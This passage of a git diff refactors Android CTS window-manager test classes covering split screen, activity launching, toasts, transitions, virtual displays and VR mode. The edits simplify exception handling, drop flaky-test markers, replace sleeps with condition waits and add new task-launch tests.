launchActivityInDockStackAndMinimize(TEST_ACTIVITY);
@@ -511,48 +497,43 @@
}
@Test
- public void testDockedStackToMinimizeWhenUnlocked() throws Exception {
+ public void testDockedStackToMinimizeWhenUnlocked() {
if (!mIsHomeRecentsComponent) {
launchActivityInDockStackAndMinimize(TEST_ACTIVITY);
} else {
launchActivityInSplitScreenWithRecents(TEST_ACTIVITY);
}
mAmWmState.computeState(TEST_ACTIVITY);
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.sleepDevice()
- .wakeUpDevice()
- .unlockDevice();
- mAmWmState.computeState(TEST_ACTIVITY);
- assertDockMinimized();
- }
+ createManagedLockScreenSession().sleepDevice()
+ .wakeUpDevice()
+ .unlockDevice();
+ mAmWmState.computeState(TEST_ACTIVITY);
+ assertDockMinimized();
}
@Test
- public void testMinimizedStateWhenUnlockedAndUnMinimized() throws Exception {
+ public void testMinimizedStateWhenUnlockedAndUnMinimized() {
launchActivityInDockStackAndMinimize(TEST_ACTIVITY);
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.sleepDevice()
- .wakeUpDevice()
- .unlockDevice();
- mAmWmState.computeState(TEST_ACTIVITY);
+ createManagedLockScreenSession().sleepDevice()
+ .wakeUpDevice()
+ .unlockDevice();
+ mAmWmState.computeState(TEST_ACTIVITY);
- // Unminimized back to splitscreen
- if (mIsHomeRecentsComponent) {
- launchActivity(RESIZEABLE_ACTIVITY,
- WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
- } else {
- pressAppSwitchButtonAndWaitForRecents();
- }
- mAmWmState.computeState(TEST_ACTIVITY);
+ // Unminimized back to splitscreen
+ if (mIsHomeRecentsComponent) {
+ launchActivity(RESIZEABLE_ACTIVITY,
+ WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+ } else {
+ pressAppSwitchButtonAndWaitForRecents();
}
+ mAmWmState.computeState(TEST_ACTIVITY);
}
/**
* Verify split screen mode visibility after stack resize occurs.
*/
@Test
- @FlakyTest(bugId = 110276714)
public void testResizeDockedStack() throws Exception {
launchActivitiesInSplitScreen(
getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
@@ -581,7 +562,6 @@
}
@Test
- @FlakyTest(bugId = 131005232)
public void testDifferentProcessActivityResumedPreQ() {
launchActivitiesInSplitScreen(
getLaunchActivityBuilder().setTargetActivity(SDK_27_TEST_ACTIVITY),
@@ -655,7 +635,6 @@
}
@Test
- @FlakyTest(bugId = 131005232)
public void testStackListOrderOnSplitScreenDismissed() throws Exception {
launchActivitiesInSplitScreen(
getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
@@ -679,25 +658,24 @@
expectedHomeStackIndex, homeStackIndex);
}
- private void launchActivityInDockStackAndMinimize(ComponentName activityName) throws Exception {
+ private void launchActivityInDockStackAndMinimize(ComponentName activityName) {
launchActivityInDockStackAndMinimize(activityName, SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT);
}
- private void launchActivityInDockStackAndMinimize(ComponentName activityName, int createMode)
- throws Exception {
+ private void launchActivityInDockStackAndMinimize(ComponentName activityName, int createMode) {
launchActivityInSplitScreenWithRecents(activityName, createMode);
- pressHomeButton();
- waitForAndAssertDockMinimized();
+ launchHomeActivityNoWait();
+ waitForAndAssertDockMinimized(activityName);
}
private void assertDockMinimized() {
assertTrue(mAmWmState.getWmState().isDockedStackMinimized());
}
- private void waitForAndAssertDockMinimized() throws Exception {
+ private void waitForAndAssertDockMinimized(ComponentName activityName) {
waitForDockMinimized();
assertDockMinimized();
- mAmWmState.computeState(TEST_ACTIVITY);
+ mAmWmState.computeState(activityName);
mAmWmState.assertContainsStack("Must contain docked stack.",
WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
mAmWmState.assertFocusedStack("Home activity should be focused in minimized mode",
@@ -708,13 +686,13 @@
assertFalse(mAmWmState.getWmState().isDockedStackMinimized());
}
- private void waitForDockMinimized() throws Exception {
+ private void waitForDockMinimized() {
mAmWmState.waitForWithWmState(state -> state.isDockedStackMinimized(),
- "***Waiting for Dock stack to be minimized");
+ "Dock stack to be minimized");
}
- private void waitForDockNotMinimized() throws Exception {
+ private void waitForDockNotMinimized() {
mAmWmState.waitForWithWmState(state -> !state.isDockedStackMinimized(),
- "***Waiting for Dock stack to not be minimized");
+ "Dock stack to not be minimized");
}
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
index 6923afb..7f8bd8c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
@@ -16,16 +16,27 @@
package android.server.wm;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_DOCUMENT;
+import static android.server.wm.ActivityManagerState.STATE_STOPPED;
+import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
+import static android.server.wm.app.Components.NO_RELAUNCH_ACTIVITY;
import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.server.wm.app.Components.TRANSLUCENT_ACTIVITY;
+import static android.server.wm.app.Components.TestActivity.EXTRA_INTENTS;
+import static android.server.wm.app.Components.TestActivity.COMMAND_START_ACTIVITIES;
import static android.server.wm.app27.Components.SDK_27_LAUNCHING_ACTIVITY;
+import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
import android.platform.test.annotations.Presubmit;
+import android.server.wm.CommandSession.ActivitySession;
import androidx.test.rule.ActivityTestRule;
-import androidx.test.filters.FlakyTest;
import org.junit.Rule;
import org.junit.Test;
@@ -39,14 +50,15 @@
@Rule
public final ActivityTestRule<TestActivity2> mTestActivity2Rule =
- new ActivityTestRule<>(TestActivity2.class);
+ new ActivityTestRule<>(TestActivity2.class, false /* initialTouchMode */,
+ false /* launchActivity */);
/**
* Ensures {@link Activity} can only be launched from an {@link Activity}
* {@link android.content.Context}.
*/
@Test
- public void testStartActivityContexts() throws Exception {
+ public void testStartActivityContexts() {
// Launch Activity from application context.
getLaunchActivityBuilder()
.setTargetActivity(TEST_ACTIVITY)
@@ -85,14 +97,37 @@
TEST_ACTIVITY);
}
+ @Test
+ public void testStartActivityTaskLaunchBehind() {
+ // launch an activity
+ getLaunchActivityBuilder()
+ .setTargetActivity(TEST_ACTIVITY)
+ .setUseInstrumentation()
+ .setNewTask(true)
+ .execute();
+
+ // launch an activity behind
+ getLaunchActivityBuilder()
+ .setTargetActivity(TRANSLUCENT_ACTIVITY)
+ .setUseInstrumentation()
+ .setIntentFlags(FLAG_ACTIVITY_NEW_DOCUMENT)
+ .setNewTask(true)
+ .setLaunchTaskBehind(true)
+ .execute();
+
+ waitAndAssertActivityState(TRANSLUCENT_ACTIVITY, STATE_STOPPED,
+ "Activity should be stopped");
+ mAmWmState.assertResumedActivity("Test Activity should be remained on top and resumed",
+ TEST_ACTIVITY);
+ }
+
/**
* Ensures you can start an {@link Activity} from a non {@link Activity}
* {@link android.content.Context} when the target sdk is between N and O Mr1.
* @throws Exception
*/
@Test
- @FlakyTest(bugId = 131005232)
- public void testLegacyStartActivityFromNonActivityContext() throws Exception {
+ public void testLegacyStartActivityFromNonActivityContext() {
getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
.setLaunchingActivity(SDK_27_LAUNCHING_ACTIVITY)
.setUseApplicationContext(true)
@@ -103,6 +138,45 @@
TEST_ACTIVITY);
}
+ /**
+ * <pre>
+ * Assume there are 3 activities (X, Y, Z) have different task affinities:
+ * 1. Activity X started.
+ * 2. X launches 2 activities (Y with NEW_TASK, Z) by {@link Activity#startActivities}.
+ * Expect the result should be 2 tasks: [X] and [Y, Z].
+ * </pre>
+ */
+ @Test
+ public void testStartActivitiesInNewAndSameTask() {
+ final ActivitySession activity = createManagedActivityClientSession()
+ .startActivity(getLaunchActivityBuilder().setUseInstrumentation());
+
+ final Intent[] intents = {
+ new Intent().setComponent(NO_RELAUNCH_ACTIVITY)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK),
+ new Intent().setComponent(LAUNCHING_ACTIVITY)
+ };
+
+ final Bundle intentBundle = new Bundle();
+ intentBundle.putParcelableArray(EXTRA_INTENTS, intents);
+ // The {@link Activity#startActivities} cannot be called from the instrumentation
+ // package because the implementation (given by test runner) may be overridden.
+ activity.sendCommand(COMMAND_START_ACTIVITIES, intentBundle);
+
+ // The {@code intents} are started, wait for the last (top) activity to be ready and then
+ // verify their task ids.
+ mAmWmState.computeState(intents[1].getComponent());
+ final ActivityManagerState amState = mAmWmState.getAmState();
+ final int callerTaskId = amState.getTaskByActivity(TEST_ACTIVITY).getTaskId();
+ final int i0TaskId = amState.getTaskByActivity(intents[0].getComponent()).getTaskId();
+ final int i1TaskId = amState.getTaskByActivity(intents[1].getComponent()).getTaskId();
+
+ assertNotEquals("The activities started by startActivities() should have a different task"
+ + " from their caller activity", callerTaskId, i0TaskId);
+ assertEquals("The activities started by startActivities() should be put in the same task",
+ i0TaskId, i1TaskId);
+ }
+
public static class TestActivity2 extends Activity {
}
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ToastTest.java b/tests/framework/base/windowmanager/src/android/server/wm/ToastTest.java
index 253ade4..821848e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ToastTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ToastTest.java
@@ -16,23 +16,20 @@
package android.server.wm;
-import static android.server.wm.app.Components.ToastReceiver.ACTION_TOAST_DISPLAYED;
-import static android.server.wm.app.Components.ToastReceiver.ACTION_TOAST_TAP_DETECTED;
+import static android.server.wm.app.Components.ClickableToastActivity.ACTION_TOAST_DISPLAYED;
+import static android.server.wm.app.Components.ClickableToastActivity.ACTION_TOAST_TAP_DETECTED;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
-import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.ConditionVariable;
-import android.os.Handler;
-import android.os.Looper;
import android.platform.test.annotations.Presubmit;
import android.provider.Settings;
import android.server.wm.WindowManagerState.WindowState;
@@ -41,6 +38,7 @@
import com.android.compatibility.common.util.SystemUtil;
+import org.junit.After;
import org.junit.Test;
import java.util.Collections;
@@ -54,12 +52,7 @@
private static final String SETTING_HIDDEN_API_POLICY = "hidden_api_policy";
private static final long TOAST_DISPLAY_TIMEOUT_MS = 8000;
private static final long TOAST_TAP_TIMEOUT_MS = 3500;
-
- /**
- * Tests can be executed as soon as the device has booted. When that happens the broadcast queue
- * is long and it takes some time to process the broadcast we just sent.
- */
- private static final long BROADCAST_DELIVERY_TIMEOUT_MS = 60000;
+ private static final int ACTIVITY_FOCUS_TIMEOUT_MS = 3000;
@Nullable
private String mPreviousHiddenApiPolicy;
@@ -92,21 +85,22 @@
mContext.registerReceiver(mAppCommunicator, filter);
}
- @Override
- public void tearDown() throws Exception {
+ @After
+ public void tearDown() {
mContext.unregisterReceiver(mAppCommunicator);
SystemUtil.runWithShellPermissionIdentity(() -> {
Settings.Global.putString(mContext.getContentResolver(), SETTING_HIDDEN_API_POLICY,
mPreviousHiddenApiPolicy);
});
- super.tearDown();
}
@Test
public void testToastIsNotClickable() {
Intent intent = new Intent();
- intent.setComponent(Components.TOAST_RECEIVER);
- sendAndWaitForBroadcast(intent);
+ intent.setComponent(Components.CLICKABLE_TOAST_ACTIVITY);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(intent);
+ waitForActivityFocused(ACTIVITY_FOCUS_TIMEOUT_MS, Components.CLICKABLE_TOAST_ACTIVITY);
boolean toastDisplayed = getBroadcastReceivedVariable(ACTION_TOAST_DISPLAYED).block(
TOAST_DISPLAY_TIMEOUT_MS);
assertTrue("Toast not displayed on time", toastDisplayed);
@@ -122,27 +116,6 @@
assertFalse("Toast tap detected", toastClicked);
}
- private void sendAndWaitForBroadcast(Intent intent) {
- assertNotEquals("Can't wait on main thread", Thread.currentThread(),
- Looper.getMainLooper().getThread());
-
- ConditionVariable broadcastDelivered = new ConditionVariable(false);
- mContext.sendOrderedBroadcast(
- intent,
- null,
- new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- broadcastDelivered.open();
- }
- },
- new Handler(Looper.getMainLooper()),
- Activity.RESULT_OK,
- null,
- null);
- broadcastDelivered.block(BROADCAST_DELIVERY_TIMEOUT_MS);
- }
-
private ConditionVariable getBroadcastReceivedVariable(String action) {
return mBroadcastsReceived.computeIfAbsent(action, key -> new ConditionVariable());
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
index ec666e0..bdfad6b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
@@ -39,8 +39,6 @@
import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
-import androidx.test.filters.FlakyTest;
-
import org.junit.Assume;
import org.junit.Before;
import org.junit.Test;
@@ -58,20 +56,8 @@
* atest CtsWindowManagerDeviceTestCases:TransitionSelectionTests
*/
@Presubmit
-@FlakyTest(bugId = 71792333)
public class TransitionSelectionTests extends ActivityManagerTestBase {
- @Override
- @Before
- public void setUp() throws Exception {
- super.setUp();
-
- // Transition selection tests are currently disabled on Wear because
- // config_windowSwipeToDismiss is set to true, which breaks all kinds of assumptions in the
- // transition selection logic.
- Assume.assumeTrue(!isWatch());
- }
-
// Test activity open/close under normal timing
@Test
public void testOpenActivity_NeitherWallpaper() {
@@ -118,7 +104,6 @@
false /*slowStop*/, TRANSIT_TASK_OPEN);
}
- @FlakyTest(bugId = 71792333)
@Test
public void testCloseTask_NeitherWallpaper() {
testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
@@ -177,7 +162,6 @@
// Test task close -- bottom task top activity slow in stopping
// These simulate the case where the bottom activity is resumed
// before AM receives its activitiyStopped
- @FlakyTest(bugId = 71792333)
@Test
public void testCloseTask_NeitherWallpaper_SlowStop() {
testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
@@ -223,7 +207,6 @@
TRANSIT_TRANSLUCENT_ACTIVITY_CLOSE);
}
- @FlakyTest(bugId = 71792333)
@Test
public void testCloseTask_BottomWallpaper_Translucent() {
testCloseTaskTranslucent(true /*bottomWallpaper*/, false /*topWallpaper*/,
@@ -306,13 +289,15 @@
}
executeShellCommand(topStartCmd);
- SystemClock.sleep(5000);
- if (testOpen) {
- mAmWmState.computeState(topActivity);
- } else {
- mAmWmState.computeState(BOTTOM_ACTIVITY);
- }
-
+ Condition.waitFor("Retrieving correct transition", () -> {
+ if (testOpen) {
+ mAmWmState.computeState(topActivity);
+ } else {
+ mAmWmState.computeState(BOTTOM_ACTIVITY);
+ }
+ return expectedTransit.equals(
+ mAmWmState.getWmState().getDefaultDisplayLastTransition());
+ });
assertEquals("Picked wrong transition", expectedTransit,
mAmWmState.getWmState().getDefaultDisplayLastTransition());
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/VirtualDisplayHelper.java b/tests/framework/base/windowmanager/src/android/server/wm/VirtualDisplayHelper.java
index cbd6816..8faff8d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/VirtualDisplayHelper.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/VirtualDisplayHelper.java
@@ -20,23 +20,19 @@
import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PRESENTATION;
import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
import static android.server.wm.ActivityManagerTestBase.isDisplayOn;
+import static android.server.wm.ActivityManagerTestBase.waitForOrFail;
import static android.server.wm.StateLogger.logAlways;
import static android.view.Display.DEFAULT_DISPLAY;
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
-
-import static org.junit.Assert.fail;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
import android.graphics.PixelFormat;
import android.hardware.display.DisplayManager;
import android.hardware.display.VirtualDisplay;
import android.media.ImageReader;
-import android.os.SystemClock;
import com.android.compatibility.common.util.SystemUtil;
-import java.util.function.Predicate;
-
/**
* Helper class to create virtual display.
*/
@@ -78,40 +74,29 @@
int createAndWaitForDisplay() {
SystemUtil.runWithShellPermissionIdentity(() -> {
createVirtualDisplay();
- waitForDisplayState(mVirtualDisplay.getDisplay().getDisplayId() /* default */,
- true /* on */);
+ waitForDisplayState(mVirtualDisplay.getDisplay().getDisplayId(), true /* wantOn */);
mCreated = true;
});
return mVirtualDisplay.getDisplay().getDisplayId();
}
void turnDisplayOff() {
- SystemUtil.runWithShellPermissionIdentity(() -> {
- mVirtualDisplay.setSurface(null);
- waitForDisplayState(mVirtualDisplay.getDisplay().getDisplayId() /* displayId */,
- false /* on */);
- });
+ mVirtualDisplay.setSurface(null);
+ waitForDisplayState(mVirtualDisplay.getDisplay().getDisplayId(), false /* wantOn */);
}
void turnDisplayOn() {
- SystemUtil.runWithShellPermissionIdentity(() -> {
- mVirtualDisplay.setSurface(mReader.getSurface());
- waitForDisplayState(mVirtualDisplay.getDisplay().getDisplayId() /* displayId */,
- true /* on */);
- });
+ mVirtualDisplay.setSurface(mReader.getSurface());
+ waitForDisplayState(mVirtualDisplay.getDisplay().getDisplayId(), true /* wantOn */);
}
void releaseDisplay() {
- SystemUtil.runWithShellPermissionIdentity(() -> {
- if (mCreated) {
- mVirtualDisplay.release();
- mReader.close();
- waitForDisplayCondition(mVirtualDisplay.getDisplay().getDisplayId() /* displayId */,
- onState -> onState != null && onState == false,
- "Waiting for virtual display destroy");
- }
- mCreated = false;
- });
+ if (mCreated) {
+ mVirtualDisplay.release();
+ mReader.close();
+ waitForDisplayState(mVirtualDisplay.getDisplay().getDisplayId(), false /* wantOn */);
+ }
+ mCreated = false;
}
private void createVirtualDisplay() {
@@ -142,25 +127,12 @@
}
static void waitForDefaultDisplayState(boolean wantOn) {
- waitForDisplayState(DEFAULT_DISPLAY /* default */, wantOn);
+ waitForDisplayState(DEFAULT_DISPLAY, wantOn);
}
private static void waitForDisplayState(int displayId, boolean wantOn) {
- waitForDisplayCondition(displayId, state -> state != null && state == wantOn,
- "Waiting for " + ((displayId == DEFAULT_DISPLAY) ? "default" : "virtual")
- + " display "
- + (wantOn ? "on" : "off"));
- }
-
- private static void waitForDisplayCondition(int displayId,
- Predicate<Boolean> condition, String message) {
- for (int retry = 1; retry <= 10; retry++) {
- if (condition.test(isDisplayOn(displayId))) {
- return;
- }
- logAlways(message + "... retry=" + retry);
- SystemClock.sleep(500);
- }
- fail(message + " failed");
+ final String message = (displayId == DEFAULT_DISPLAY ? "default" : "virtual")
+ + " display " + (wantOn ? "on" : "off");
+ waitForOrFail(message, () -> isDisplayOn(displayId) == wantOn);
}
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/VrDisplayTests.java b/tests/framework/base/windowmanager/src/android/server/wm/VrDisplayTests.java
index 1d94d30..26026e2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/VrDisplayTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/VrDisplayTests.java
@@ -31,7 +31,7 @@
import android.content.ComponentName;
import android.platform.test.annotations.Presubmit;
import android.provider.Settings;
-import android.server.wm.ActivityManagerState.ActivityDisplay;
+import android.server.wm.ActivityManagerState.DisplayContent;
import android.server.wm.settings.SettingsSession;
import com.android.cts.verifier.vr.MockVrListenerService;
@@ -46,6 +46,7 @@
* atest CtsWindowManagerDeviceTestCases:VrDisplayTests
*/
@Presubmit
+@android.server.wm.annotation.Group3
public class VrDisplayTests extends MultiDisplayTestBase {
private static final int VR_VIRTUAL_DISPLAY_WIDTH = 700;
private static final int VR_VIRTUAL_DISPLAY_HEIGHT = 900;
@@ -69,14 +70,14 @@
private static class VrModeSession implements AutoCloseable {
private boolean applyVrModeChanges = !ActivityManagerTestBase.isUiModeLockedToVrHeadset();
- void enablePersistentVrMode() throws Exception {
+ void enablePersistentVrMode() {
if (!applyVrModeChanges) { return; }
executeShellCommand("setprop vr_virtualdisplay true");
executeShellCommand("vr set-persistent-vr-mode-enabled true");
}
@Override
- public void close() throws Exception {
+ public void close() {
if (!applyVrModeChanges) { return; }
executeShellCommand("vr set-persistent-vr-mode-enabled false");
executeShellCommand("setprop vr_virtualdisplay false");
@@ -95,7 +96,7 @@
Settings.Secure::putString);
}
- public void enableVrListener(ComponentName targetVrComponent) throws Exception {
+ public void enableVrListener(ComponentName targetVrComponent) {
ComponentName component = new ComponentName(targetVrComponent.getPackageName(),
MockVrListenerService.class.getName());
set(component.flattenToString());
@@ -106,97 +107,97 @@
* Tests that any new activity launch in Vr mode is in Vr display.
*/
@Test
- public void testVrActivityLaunch() throws Exception {
+ public void testVrActivityLaunch() {
assumeTrue(supportsMultiDisplay());
- try (final VrModeSession vrModeSession = new VrModeSession();
- final EnableVrListenerSession enableVrListenerSession =
- new EnableVrListenerSession()) {
- // Put the device in persistent vr mode.
- vrModeSession.enablePersistentVrMode();
- enableVrListenerSession.enableVrListener(VR_TEST_ACTIVITY);
+ final VrModeSession vrModeSession = mObjectTracker.manage(new VrModeSession());
+ final EnableVrListenerSession enableVrListenerSession =
+ mObjectTracker.manage(new EnableVrListenerSession());
- // Launch the VR activity.
- launchActivity(VR_TEST_ACTIVITY);
- mAmWmState.computeState(VR_TEST_ACTIVITY);
- mAmWmState.assertVisibility(VR_TEST_ACTIVITY, true /* visible */);
+ // Put the device in persistent vr mode.
+ vrModeSession.enablePersistentVrMode();
+ enableVrListenerSession.enableVrListener(VR_TEST_ACTIVITY);
- // Launch the non-VR 2D activity and check where it ends up.
- launchActivity(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(LAUNCHING_ACTIVITY);
+ // Launch the VR activity.
+ launchActivity(VR_TEST_ACTIVITY);
+ mAmWmState.computeState(VR_TEST_ACTIVITY);
+ mAmWmState.assertVisibility(VR_TEST_ACTIVITY, true /* visible */);
- // Ensure that the subsequent activity is visible
- mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+ // Launch the non-VR 2D activity and check where it ends up.
+ launchActivity(LAUNCHING_ACTIVITY);
+ mAmWmState.computeState(LAUNCHING_ACTIVITY);
- // Check that activity is launched in focused stack on primary display.
- mAmWmState.assertFocusedActivity("Launched activity must be focused",
- LAUNCHING_ACTIVITY);
- final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
- final ActivityManagerState.ActivityStack focusedStack
- = mAmWmState.getAmState().getStackById(focusedStackId);
- assertEquals("Launched activity must be resumed in focused stack",
- getActivityName(LAUNCHING_ACTIVITY), focusedStack.mResumedActivity);
+ // Ensure that the subsequent activity is visible
+ mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
- // Check if the launch activity is in Vr virtual display id.
- final List<ActivityDisplay> reportedDisplays = getDisplaysStates();
- final ActivityDisplay vrDisplay = getDisplayState(reportedDisplays,
- VR_VIRTUAL_DISPLAY_WIDTH, VR_VIRTUAL_DISPLAY_HEIGHT, VR_VIRTUAL_DISPLAY_DPI);
- assertNotNull("Vr mode should have a virtual display", vrDisplay);
+ // Check that activity is launched in focused stack on primary display.
+ mAmWmState.assertFocusedActivity("Launched activity must be focused",
+ LAUNCHING_ACTIVITY);
+ final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ final ActivityManagerState.ActivityStack focusedStack
+ = mAmWmState.getAmState().getStackById(focusedStackId);
+ assertEquals("Launched activity must be resumed in focused stack",
+ getActivityName(LAUNCHING_ACTIVITY), focusedStack.mResumedActivity);
- // Check if the focused activity is on this virtual stack.
- assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mId,
- focusedStack.mDisplayId);
- }
+ // Check if the launch activity is in Vr virtual display id.
+ final List<DisplayContent> reportedDisplays = getDisplaysStates();
+ final DisplayContent vrDisplay = getDisplayState(reportedDisplays,
+ VR_VIRTUAL_DISPLAY_WIDTH, VR_VIRTUAL_DISPLAY_HEIGHT, VR_VIRTUAL_DISPLAY_DPI);
+ assertNotNull("Vr mode should have a virtual display", vrDisplay);
+
+ // Check if the focused activity is on this virtual stack.
+ assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mId,
+ focusedStack.mDisplayId);
}
/**
* Tests that any activity already present is re-launched in Vr display in vr mode.
*/
@Test
- public void testVrActivityReLaunch() throws Exception {
+ public void testVrActivityReLaunch() {
assumeTrue(supportsMultiDisplay());
// Launch a 2D activity.
launchActivity(LAUNCHING_ACTIVITY);
- try (final VrModeSession vrModeSession = new VrModeSession();
- final EnableVrListenerSession enableVrListenerSession =
- new EnableVrListenerSession()) {
- // Put the device in persistent vr mode.
- vrModeSession.enablePersistentVrMode();
- enableVrListenerSession.enableVrListener(VR_TEST_ACTIVITY);
+ final VrModeSession vrModeSession = mObjectTracker.manage(new VrModeSession());
+ final EnableVrListenerSession enableVrListenerSession =
+ mObjectTracker.manage(new EnableVrListenerSession());
- // Launch the VR activity.
- launchActivity(VR_TEST_ACTIVITY);
- mAmWmState.computeState(VR_TEST_ACTIVITY);
- mAmWmState.assertVisibility(VR_TEST_ACTIVITY, true /* visible */);
+ // Put the device in persistent vr mode.
+ vrModeSession.enablePersistentVrMode();
+ enableVrListenerSession.enableVrListener(VR_TEST_ACTIVITY);
- // Re-launch the non-VR 2D activity and check where it ends up.
- launchActivity(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(LAUNCHING_ACTIVITY);
+ // Launch the VR activity.
+ launchActivity(VR_TEST_ACTIVITY);
+ mAmWmState.computeState(VR_TEST_ACTIVITY);
+ mAmWmState.assertVisibility(VR_TEST_ACTIVITY, true /* visible */);
- // Ensure that the subsequent activity is visible
- mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+ // Re-launch the non-VR 2D activity and check where it ends up.
+ launchActivity(LAUNCHING_ACTIVITY);
+ mAmWmState.computeState(LAUNCHING_ACTIVITY);
- // Check that activity is launched in focused stack on primary display.
- mAmWmState.assertFocusedActivity("Launched activity must be focused",
- LAUNCHING_ACTIVITY);
- final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
- final ActivityManagerState.ActivityStack focusedStack
- = mAmWmState.getAmState().getStackById(focusedStackId);
- assertEquals("Launched activity must be resumed in focused stack",
- getActivityName(LAUNCHING_ACTIVITY), focusedStack.mResumedActivity);
+ // Ensure that the subsequent activity is visible
+ mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
- // Check if the launch activity is in Vr virtual display id.
- final List<ActivityDisplay> reportedDisplays = getDisplaysStates();
- final ActivityDisplay vrDisplay = getDisplayState(reportedDisplays,
- VR_VIRTUAL_DISPLAY_WIDTH, VR_VIRTUAL_DISPLAY_HEIGHT, VR_VIRTUAL_DISPLAY_DPI);
- assertNotNull("Vr mode should have a virtual display", vrDisplay);
+ // Check that activity is launched in focused stack on primary display.
+ mAmWmState.assertFocusedActivity("Launched activity must be focused",
+ LAUNCHING_ACTIVITY);
+ final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ final ActivityManagerState.ActivityStack focusedStack
+ = mAmWmState.getAmState().getStackById(focusedStackId);
+ assertEquals("Launched activity must be resumed in focused stack",
+ getActivityName(LAUNCHING_ACTIVITY), focusedStack.mResumedActivity);
- // Check if the focused activity is on this virtual stack.
- assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mId,
- focusedStack.mDisplayId);
- }
+ // Check if the launch activity is in Vr virtual display id.
+ final List<DisplayContent> reportedDisplays = getDisplaysStates();
+ final DisplayContent vrDisplay = getDisplayState(reportedDisplays,
+ VR_VIRTUAL_DISPLAY_WIDTH, VR_VIRTUAL_DISPLAY_HEIGHT, VR_VIRTUAL_DISPLAY_DPI);
+ assertNotNull("Vr mode should have a virtual display", vrDisplay);
+
+ // Check if the focused activity is on this virtual stack.
+ assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mId,
+ focusedStack.mDisplayId);
}
/**
@@ -239,8 +240,8 @@
focusedStack.mResumedActivity);
// Check if the launch activity is in Vr virtual display id.
- final List<ActivityDisplay> reportedDisplays = getDisplaysStates();
- final ActivityDisplay vrDisplay = getDisplayState(reportedDisplays,
+ final List<DisplayContent> reportedDisplays = getDisplaysStates();
+ final DisplayContent vrDisplay = getDisplayState(reportedDisplays,
VR_VIRTUAL_DISPLAY_WIDTH, VR_VIRTUAL_DISPLAY_HEIGHT,
VR_VIRTUAL_DISPLAY_DPI);
assertNotNull("Vr mode should have a virtual display", vrDisplay);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
index a361011..2cf5469 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
@@ -16,9 +16,6 @@
package android.server.wm;
-import static android.content.pm.PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS;
-import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
-import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
import static android.view.Display.DEFAULT_DISPLAY;
import static android.view.Display.INVALID_DISPLAY;
